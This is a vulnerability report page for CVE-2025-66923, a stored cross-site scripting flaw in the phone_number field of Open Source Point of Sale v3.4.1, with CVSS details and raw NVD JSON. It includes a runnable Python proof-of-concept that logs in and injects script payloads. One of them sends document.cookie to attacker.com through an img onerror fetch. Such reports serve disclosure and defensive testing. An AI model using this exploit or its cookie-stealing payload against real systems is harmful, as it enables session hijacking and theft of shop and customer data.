Security Vulnerability Report
中文
CVE-2025-66923 CVSS 7.2 HIGH

CVE-2025-66923

Published: 2025-12-17 18:15:49
Last Modified: 2025-12-18 19:52:33

Description

A Cross-site scripting (XSS) vulnerability in Create/Update Customer(s) in Open Source Point of Sale v3.4.1 allows remote attackers to inject arbitrary web script or HTML via the phone_number parameter.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:opensourcepos:open_source_point_of_sale:3.4.1:*:*:*:*:*:*:* - VULNERABLE
Open Source Point of Sale v3.4.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-66923 PoC - Open Source Point of Sale XSS via phone_number # This PoC demonstrates the stored XSS vulnerability in customer phone_number field import requests import json TARGET_URL = "http://target-server/opensourcepos" USERNAME = "admin" PASSWORD = "admin123" def login(session): """Login to Open Source Point of Sale""" login_url = f"{TARGET_URL}/login" data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, data=data) return "login_success" in response.text def create_customer_with_xss(session): """Create customer with malicious phone_number""" customer_url = f"{TARGET_URL}/customers/save" # XSS Payload in phone_number field xss_payload = '<script>alert(document.cookie)</script>' customer_data = { "first_name": "Test", "last_name": "Customer", "phone_number": xss_payload, # XSS injection point "email": "[email protected]", "address": "Test Address" } response = session.post(customer_url, data=customer_data) return response.status_code == 200 def update_customer_with_xss(session, customer_id): """Update existing customer with malicious phone_number""" update_url = f"{TARGET_URL}/customers/save/{customer_id}" # XSS Payload in phone_number field xss_payload = '<img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie)>' customer_data = { "first_name": "Updated", "last_name": "Customer", "phone_number": xss_payload, # XSS injection point "email": "[email protected]", "address": "Updated Address" } response = session.post(update_url, data=customer_data) return response.status_code == 200 def main(): session = requests.Session() if login(session): print("[+] Login successful") if create_customer_with_xss(session): print("[+] XSS payload injected via customer creation") print("[+] Payload will execute when viewing customer list/details") # Alternative: Update existing customer # update_customer_with_xss(session, customer_id=1) else: print("[-] Login failed") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66923", "sourceIdentifier": "[email protected]", "published": "2025-12-17T18:15:48.983", "lastModified": "2025-12-18T19:52:33.017", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Cross-site scripting (XSS) vulnerability in Create/Update Customer(s) in Open Source Point of Sale v3.4.1 allows remote attackers to inject arbitrary web script or HTML via the phone_number parameter."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:opensourcepos:open_source_point_of_sale:3.4.1:*:*:*:*:*:*:*", "matchCriteriaId": "8EC6C4DB-C7B4-46A5-9479-851918C55014"}]}]}], "references": [{"url": "https://github.com/omkaryepre/vulnerability-research/blob/main/CVE-2025-66923/readme.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/opensourcepos/opensourcepos", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/omkaryepre/vulnerability-research/blob/main/CVE-2025-66923/readme.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}